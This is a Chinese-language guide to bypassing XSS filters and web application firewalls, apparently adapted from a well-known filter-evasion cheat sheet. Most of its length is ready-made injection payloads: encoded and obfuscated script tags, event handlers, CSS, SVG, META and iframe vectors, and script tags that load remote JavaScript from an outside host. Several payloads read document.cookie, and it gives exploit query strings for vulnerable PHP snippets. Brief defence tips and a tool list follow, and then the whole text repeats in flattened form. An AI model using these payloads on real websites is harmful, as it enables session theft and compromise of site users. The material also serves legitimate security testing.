如何绕过XSS防护
字数 1116 2025-08-15 21:31:34

跨站脚本(XSS)攻击绕过技术全面指南

XSS攻击基础原理

XSS(跨站脚本)攻击是指攻击者向有漏洞的网站注入恶意HTML/JavaScript代码,当用户浏览该页面时,这些代码会自动执行,从而达到攻击目的。

XSS攻击类型

  1. 反射型XSS:恶意脚本作为请求的一部分发送到服务器,服务器未过滤直接返回给客户端执行
  2. 存储型XSS:恶意脚本被永久存储在目标服务器上,每次用户访问都会执行
  3. DOM型XSS:通过修改页面的DOM环境在客户端直接执行,不经过服务器

基础XSS注入方式

基本JavaScript注入

<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>

通用有效载荷

javascript:/*--></title></style></textarea></script></xmp><svg/οnlοad='+/"/+/οnmοuseοver=1/alert(1)//'>

绕过过滤技术

1. 大小写混淆

<IMG SRC=JaVaScRiPt:alert('XSS')>

2. 省略引号和分号

<IMG SRC=javascript:alert('XSS')>

3. 使用反引号

<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>

4. 畸形标签构造

<a οnmοuseοver="alert(document.cookie)">xxs link</a>
<a οnmοuseοver=alert(document.cookie)>xxs link</a>

5. 编码技术

HTML实体编码

<IMG SRC=javascript:alert(&quot;XSS&quot;)>

十进制编码

<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

十六进制编码

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

6. 嵌入特殊字符

<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC="jav&#x09;ascript:alert('XSS');">
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
<IMG SRC="jav&#x0D;ascript:alert('XSS');">

7. 使用fromCharCode

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

高级绕过技术

1. 事件处理器

<BODY onload!alert("XSS")>
<BODY ONLOAD=alert('XSS')>

2. CSS注入

<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE>
<DIV STYLE="background-image: url(javascript:alert('XSS'))">

3. SVG注入

<svg/οnlοad=alert('XSS')>

4. 协议混淆

<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

5. iframe注入

<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<IFRAME SRC=# οnmοuseοver="alert(document.cookie)"></IFRAME>

6. 编码混淆

<SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
<SCRIPT =">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
<SCRIPT "a='>'" SRC="httx://xss.rocks/xss.js"></SCRIPT>

7. 分块注入

<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="httx://xss.rocks/xss.js"></SCRIPT>

WAF绕过技术

1. 存储型XSS绕过

<script>... setTimeout(\"writetitle()\",$_GET[xss]script>

利用:/?xss=500); alert(document.cookie);//

2. DOM型XSS绕过

<script>... eval($_GET[xss]script>

利用:/?xss=document.cookie

3. 重定向XSS

header('Location: '.$_GET['param']);

利用:/?param=javascript:alert(document.cookie)
或:/?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=

4. 常见WAF绕过字符串

<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">
<Video> <source onerror = "javascript: alert (XSS)">
<Input value = "XSS" type = text>
<applet code="javascript:confirm(document.cookie);">

防御建议

  1. 输入验证:对所有输入数据进行严格验证
  2. 输出编码:在输出数据到页面时进行适当的编码
  3. 内容安全策略(CSP):实施严格的内容安全策略
  4. HTTP-only Cookie:设置敏感cookie为HTTP-only
  5. X-XSS-Protection头:启用浏览器内置的XSS过滤器
  6. 框架沙箱:使用sandbox属性限制iframe功能

测试工具

  1. OWASP CAL9000:综合性Web安全测试工具集
  2. HackVertor:高级字符串编码转换工具
  3. OWASP WebScarab:HTTP/HTTPS通信分析框架
  4. XSS-Proxy:高级XSS攻击工具
  5. Burp Suite:交互式HTTP/S代理测试工具
  6. OWASP ZAP:集成渗透测试工具
  7. Xenotix XSS Exploit Framework:包含1600+有效载荷的XSS测试框架

通过理解这些技术,安全专业人员可以更好地测试和加固Web应用程序,防止XSS攻击。

跨站脚本(XSS)攻击绕过技术全面指南 XSS攻击基础原理 XSS(跨站脚本)攻击是指攻击者向有漏洞的网站注入恶意HTML/JavaScript代码,当用户浏览该页面时,这些代码会自动执行,从而达到攻击目的。 XSS攻击类型 反射型XSS :恶意脚本作为请求的一部分发送到服务器,服务器未过滤直接返回给客户端执行 存储型XSS :恶意脚本被永久存储在目标服务器上,每次用户访问都会执行 DOM型XSS :通过修改页面的DOM环境在客户端直接执行,不经过服务器 基础XSS注入方式 基本JavaScript注入 通用有效载荷 绕过过滤技术 1. 大小写混淆 2. 省略引号和分号 3. 使用反引号 4. 畸形标签构造 5. 编码技术 HTML实体编码 : 十进制编码 : 十六进制编码 : 6. 嵌入特殊字符 7. 使用fromCharCode 高级绕过技术 1. 事件处理器 2. CSS注入 3. SVG注入 4. 协议混淆 5. iframe注入 6. 编码混淆 7. 分块注入 WAF绕过技术 1. 存储型XSS绕过 利用: /?xss=500); alert(document.cookie);// 2. DOM型XSS绕过 利用: /?xss=document.cookie 3. 重定向XSS 利用: /?param=javascript:alert(document.cookie) 或: /?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4= 4. 常见WAF绕过字符串 防御建议 输入验证 :对所有输入数据进行严格验证 输出编码 :在输出数据到页面时进行适当的编码 内容安全策略(CSP) :实施严格的内容安全策略 HTTP-only Cookie :设置敏感cookie为HTTP-only X-XSS-Protection头 :启用浏览器内置的XSS过滤器 框架沙箱 :使用sandbox属性限制iframe功能 测试工具 OWASP CAL9000 :综合性Web安全测试工具集 HackVertor :高级字符串编码转换工具 OWASP WebScarab :HTTP/HTTPS通信分析框架 XSS-Proxy :高级XSS攻击工具 Burp Suite :交互式HTTP/S代理测试工具 OWASP ZAP :集成渗透测试工具 Xenotix XSS Exploit Framework :包含1600+有效载荷的XSS测试框架 通过理解这些技术,安全专业人员可以更好地测试和加固Web应用程序,防止XSS攻击。